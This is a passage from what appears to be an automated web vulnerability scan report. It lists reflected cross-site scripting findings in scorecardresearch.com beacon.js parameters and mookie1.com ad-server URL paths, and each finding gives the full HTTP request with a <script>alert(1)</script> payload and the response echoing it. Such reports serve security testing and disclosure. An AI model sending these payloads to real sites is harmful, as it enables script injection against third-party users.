Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=25894b9d-24.143.206.177-1303083414

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Thu, 28 Apr 2011 01:38:46 GMT
Date: Thu, 21 Apr 2011 01:38:46 GMT
Content-Length: 1235
Connection: close

if(typeof COMSCORE=="undefined"){var COMSCORE={}}if(typeof _comscore!="object"){var _comscore=[]}COMSCORE.beacon=function(k){try{if(!k){return}var i=1.8,l=k.options||{},j=l.doc||document,b=l.nav||navi
...[SNIP]...
.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();


COMSCORE.beacon({c1:"7", c2:"6035233", c3:"2", c4:"", c5:"", c6:"", c10:"", c15:"adce4<script>alert(1)</script>3d3f26af9a3", c16:"", r:""});



3.90. http://b.scorecardresearch.com/beacon.js [c2 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b.scorecardresearch.com
Path:   /beacon.js

Issue detail

The value of the c2 request parameter is copied into the HTML document as plain text between tags. The payload d44cc<script>alert(1)</script>ab54e256082 was submitted in the c2 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=2&c2=6036378d44cc<script>alert(1)</script>ab54e256082&c3=&c4=&c5=&c6=&c10= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://www.soccernews.com/blatter-wants-stable-fifa/72998/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=25894b9d-24.143.206.177-1303083414

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Thu, 28 Apr 2011 01:28:11 GMT
Date: Thu, 21 Apr 2011 01:28:11 GMT
Content-Length: 3588
Connection: close

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
on(a){try{var c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();


COMSCORE.beacon({c1:"2", c2:"6036378d44cc<script>alert(1)</script>ab54e256082", c3:"", c4:"", c5:"", c6:"", c10:"", c15:"", c16:"", r:""});



3.91. http://b.scorecardresearch.com/beacon.js [c3 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b.scorecardresearch.com
Path:   /beacon.js

Issue detail

The value of the c3 request parameter is copied into the HTML document as plain text between tags. The payload 1f8d4<script>alert(1)</script>99f13ad0bc was submitted in the c3 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=2&c2=6036378&c3=1f8d4<script>alert(1)</script>99f13ad0bc&c4=&c5=&c6=&c10= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://www.soccernews.com/blatter-wants-stable-fifa/72998/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=25894b9d-24.143.206.177-1303083414

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Thu, 28 Apr 2011 01:28:11 GMT
Date: Thu, 21 Apr 2011 01:28:11 GMT
Content-Length: 3587
Connection: close

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
ry{var c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();


COMSCORE.beacon({c1:"2", c2:"6036378", c3:"1f8d4<script>alert(1)</script>99f13ad0bc", c4:"", c5:"", c6:"", c10:"", c15:"", c16:"", r:""});



3.92. http://b.scorecardresearch.com/beacon.js [c4 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b.scorecardresearch.com
Path:   /beacon.js

Issue detail

The value of the c4 request parameter is copied into the HTML document as plain text between tags. The payload 414a1<script>alert(1)</script>45fa45c6a7f was submitted in the c4 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=2&c2=6036378&c3=&c4=414a1<script>alert(1)</script>45fa45c6a7f&c5=&c6=&c10= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://www.soccernews.com/blatter-wants-stable-fifa/72998/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=25894b9d-24.143.206.177-1303083414

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Thu, 28 Apr 2011 01:28:11 GMT
Date: Thu, 21 Apr 2011 01:28:11 GMT
Content-Length: 3588
Connection: close

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();


COMSCORE.beacon({c1:"2", c2:"6036378", c3:"", c4:"414a1<script>alert(1)</script>45fa45c6a7f", c5:"", c6:"", c10:"", c15:"", c16:"", r:""});



3.93. http://b.scorecardresearch.com/beacon.js [c5 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b.scorecardresearch.com
Path:   /beacon.js

Issue detail

The value of the c5 request parameter is copied into the HTML document as plain text between tags. The payload 6861c<script>alert(1)</script>a5ac6ae0dda was submitted in the c5 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=2&c2=6036378&c3=&c4=&c5=6861c<script>alert(1)</script>a5ac6ae0dda&c6=&c10= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://www.soccernews.com/blatter-wants-stable-fifa/72998/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=25894b9d-24.143.206.177-1303083414

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Thu, 28 Apr 2011 01:28:11 GMT
Date: Thu, 21 Apr 2011 01:28:11 GMT
Content-Length: 3588
Connection: close

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();


COMSCORE.beacon({c1:"2", c2:"6036378", c3:"", c4:"", c5:"6861c<script>alert(1)</script>a5ac6ae0dda", c6:"", c10:"", c15:"", c16:"", r:""});



3.94. http://b.scorecardresearch.com/beacon.js [c6 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b.scorecardresearch.com
Path:   /beacon.js

Issue detail

The value of the c6 request parameter is copied into the HTML document as plain text between tags. The payload 84bca<script>alert(1)</script>01db77b50cb was submitted in the c6 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=2&c2=6036378&c3=&c4=&c5=&c6=84bca<script>alert(1)</script>01db77b50cb&c10= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://www.soccernews.com/blatter-wants-stable-fifa/72998/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=25894b9d-24.143.206.177-1303083414

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Thu, 28 Apr 2011 01:28:11 GMT
Date: Thu, 21 Apr 2011 01:28:11 GMT
Content-Length: 3588
Connection: close

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();


COMSCORE.beacon({c1:"2", c2:"6036378", c3:"", c4:"", c5:"", c6:"84bca<script>alert(1)</script>01db77b50cb", c10:"", c15:"", c16:"", r:""});



3.95. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/11060627171@x90 [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/247B3/Dominos/11Q2/CPC/728/11060627171@x90

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2aed"><script>alert(1)</script>ea1579b376b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/247B3a2aed"><script>alert(1)</script>ea1579b376b/Dominos/11Q2/CPC/728/11060627171@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://view.atdmt.com/APM/iview/142856423/direct;wi.728;hi.90/01?click=http://viacom.adbureau.net/accipiter/adclick/CID=000014ac0000000000000000/height=90/width=728/site=SOUTHPARKSTUDIOS.MTVI/aamsz=728X90/NCP=1/relocate=
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; NSC_o4efm_qppm_iuuq=ffffffff09499e2045525d5f4f58455e445a4a423660; Dominos=247B3; dlx_20100929=set; other_20110126=set; id=914804995789526; session=1303242610|1303242610

Response

HTTP/1.1 200 OK
Date: Tue, 19 Apr 2011 20:04:55 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 344
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/247B3a2aed"><script>alert(1)</script>ea1579b376b/Dominos/11Q2/CPC/728/13938222/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

3.96. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/11060627171@x90 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/247B3/Dominos/11Q2/CPC/728/11060627171@x90

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8ae76"><script>alert(1)</script>e6d8e4920b2 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/247B3/Dominos8ae76"><script>alert(1)</script>e6d8e4920b2/11Q2/CPC/728/11060627171@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://view.atdmt.com/APM/iview/142856423/direct;wi.728;hi.90/01?click=http://viacom.adbureau.net/accipiter/adclick/CID=000014ac0000000000000000/height=90/width=728/site=SOUTHPARKSTUDIOS.MTVI/aamsz=728X90/NCP=1/relocate=
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; NSC_o4efm_qppm_iuuq=ffffffff09499e2045525d5f4f58455e445a4a423660; Dominos=247B3; dlx_20100929=set; other_20110126=set; id=914804995789526; session=1303242610|1303242610

Response

HTTP/1.1 200 OK
Date: Tue, 19 Apr 2011 20:04:57 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 346
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/247B3/Dominos8ae76"><script>alert(1)</script>e6d8e4920b2/11Q2/CPC/728/1645687049/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

3.97. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/11060627171@x90 [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/247B3/Dominos/11Q2/CPC/728/11060627171@x90

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fa50c"><script>alert(1)</script>f435d50f889 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/247B3/Dominos/11Q2fa50c"><script>alert(1)</script>f435d50f889/CPC/728/11060627171@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://view.atdmt.com/APM/iview/142856423/direct;wi.728;hi.90/01?click=http://viacom.adbureau.net/accipiter/adclick/CID=000014ac0000000000000000/height=90/width=728/site=SOUTHPARKSTUDIOS.MTVI/aamsz=728X90/NCP=1/relocate=
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; NSC_o4efm_qppm_iuuq=ffffffff09499e2045525d5f4f58455e445a4a423660; Dominos=247B3; dlx_20100929=set; other_20110126=set; id=914804995789526; session=1303242610|1303242610

Response

HTTP/1.1 200 OK
Date: Tue, 19 Apr 2011 20:04:59 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 345
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/247B3/Dominos/11Q2fa50c"><script>alert(1)</script>f435d50f889/CPC/728/692216790/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

3.98. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/11060627171@x90 [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/247B3/Dominos/11Q2/CPC/728/11060627171@x90

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 63980"><script>alert(1)</script>f41eb06de7c was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/247B3/Dominos/11Q2/CPC63980"><script>alert(1)</script>f41eb06de7c/728/11060627171@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://view.atdmt.com/APM/iview/142856423/direct;wi.728;hi.90/01?click=http://viacom.adbureau.net/accipiter/adclick/CID=000014ac0000000000000000/height=90/width=728/site=SOUTHPARKSTUDIOS.MTVI/aamsz=728X90/NCP=1/relocate=
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; NSC_o4efm_qppm_iuuq=ffffffff09499e2045525d5f4f58455e445a4a423660; Dominos=247B3; dlx_20100929=set; other_20110126=set; id=914804995789526; session=1303242610|1303242610

Response

HTTP/1.1 200 OK
Date: Tue, 19 Apr 2011 20:05:01 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 344
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/247B3/Dominos/11Q2/CPC63980"><script>alert(1)</script>f41eb06de7c/728/45010016/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

3.99. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/11060627171@x90 [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/247B3/Dominos/11Q2/CPC/728/11060627171@x90

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c367"><script>alert(1)</script>9f4a0217226 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/247B3/Dominos/11Q2/CPC/7285c367"><script>alert(1)</script>9f4a0217226/11060627171@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://view.atdmt.com/APM/iview/142856423/direct;wi.728;hi.90/01?click=http://viacom.adbureau.net/accipiter/adclick/CID=000014ac0000000000000000/height=90/width=728/site=SOUTHPARKSTUDIOS.MTVI/aamsz=728X90/NCP=1/relocate=
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; NSC_o4efm_qppm_iuuq=ffffffff09499e2045525d5f4f58455e445a4a423660; Dominos=247B3; dlx_20100929=set; other_20110126=set; id=914804995789526; session=1303242610|1303242610

Response

HTTP/1.1 200 OK
Date: Tue, 19 Apr 2011 20:05:03 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 346
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/247B3/Dominos/11Q2/CPC/7285c367"><script>alert(1)</script>9f4a0217226/1835408583/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

3.100. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/11060627171@x90 [REST URL parameter 7]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/247B3/Dominos/11Q2/CPC/728/11060627171@x90

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload db4ff"><script>alert(1)</script>9cb16008c26 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/247B3/Dominos/11Q2/CPC/728/11060627171@x90db4ff"><script>alert(1)</script>9cb16008c26 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://view.atdmt.com/APM/iview/142856423/direct;wi.728;hi.90/01?click=http://viacom.adbureau.net/accipiter/adclick/CID=000014ac0000000000000000/height=90/width=728/site=SOUTHPARKSTUDIOS.MTVI/aamsz=728X90/NCP=1/relocate=
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; NSC_o4efm_qppm_iuuq=ffffffff09499e2045525d5f4f58455e445a4a423660; Dominos=247B3; dlx_20100929=set; other_20110126=set; id=914804995789526; session=1303242610|1303242610

Response

HTTP/1.1 200 OK
Date: Tue, 19 Apr 2011 20:05:06 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 337
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/247B3/Dominos/11Q2/CPC/728/356869465/x90db4ff"><script>alert(1)</script>9cb16008c26/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

3.101. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/11959749775@x90 [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/247B3/Dominos/11Q2/CPC/728/11959749775@x90

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3091d"><script>alert(1)</script>6f772d0085e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/247B33091d"><script>alert(1)</script>6f772d0085e/Dominos/11Q2/CPC/728/11959749775@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://view.atdmt.com/APM/iview/142856423/direct;wi.728;hi.90/01?click=http://viacom.adbureau.net/accipiter/adclick/CID=000014ac0000000000000000/height=90/width=728/site=SOUTHPARKSTUDIOS.MTVI/aamsz=728X90/NCP=1/relocate=
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; id=914804995789526

Response

HTTP/1.1 200 OK
Date: Tue, 19 Apr 2011 20:03:27 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 346
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e2345525d5f4f58455e445a4a423660;path=/;httponly

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/247B33091d"><script>alert(1)</script>6f772d0085e/Dominos/11Q2/CPC/728/1033713770/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

3.102. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/11959749775@x90 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/247B3/Dominos/11Q2/CPC/728/11959749775@x90

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d062c"><script>alert(1)</script>ca4abf2e429 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/247B3/Dominosd062c"><script>alert(1)</script>ca4abf2e429/11Q2/CPC/728/11959749775@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://view.atdmt.com/APM/iview/142856423/direct;wi.728;hi.90/01?click=http://viacom.adbureau.net/accipiter/adclick/CID=000014ac0000000000000000/height=90/width=728/site=SOUTHPARKSTUDIOS.MTVI/aamsz=728X90/NCP=1/relocate=
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; id=914804995789526

Response

HTTP/1.1 200 OK
Date: Tue, 19 Apr 2011 20:03:29 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 345
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e2145525d5f4f58455e445a4a423660;path=/;httponly

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/247B3/Dominosd062c"><script>alert(1)</script>ca4abf2e429/11Q2/CPC/728/832598647/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

3.103. http://b3.mookie1.com/2/247B3/Dominos/11Q2/CPC/728/11959749775@x90 [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/247B3/Dominos/11Q2/CPC/728/11959749775@x90

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 90454"><script>alert(1)</script>2d82bb5a239 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/247B3/Dominos/11Q290454"><script>alert(1)</script>2d82bb5a239/CPC/728/11959749775@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://view.atdmt.com/APM/iview/142856423/direct;wi.728;hi.90/01?click=http://viacom.adbureau.net/accipiter/adclick/CID=000014ac0000000000000000/height=90/width=728/site=SOUTHPARKSTUDIOS.MTVI/aamsz=728X90/NCP=1/relocate=
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; id=914804995789526

Response

HTTP/1.1 200 OK
Date: Tue, 19 Apr 2011 20:03:31 GMT
Server: Apache/2.2.3 (Red Hat)
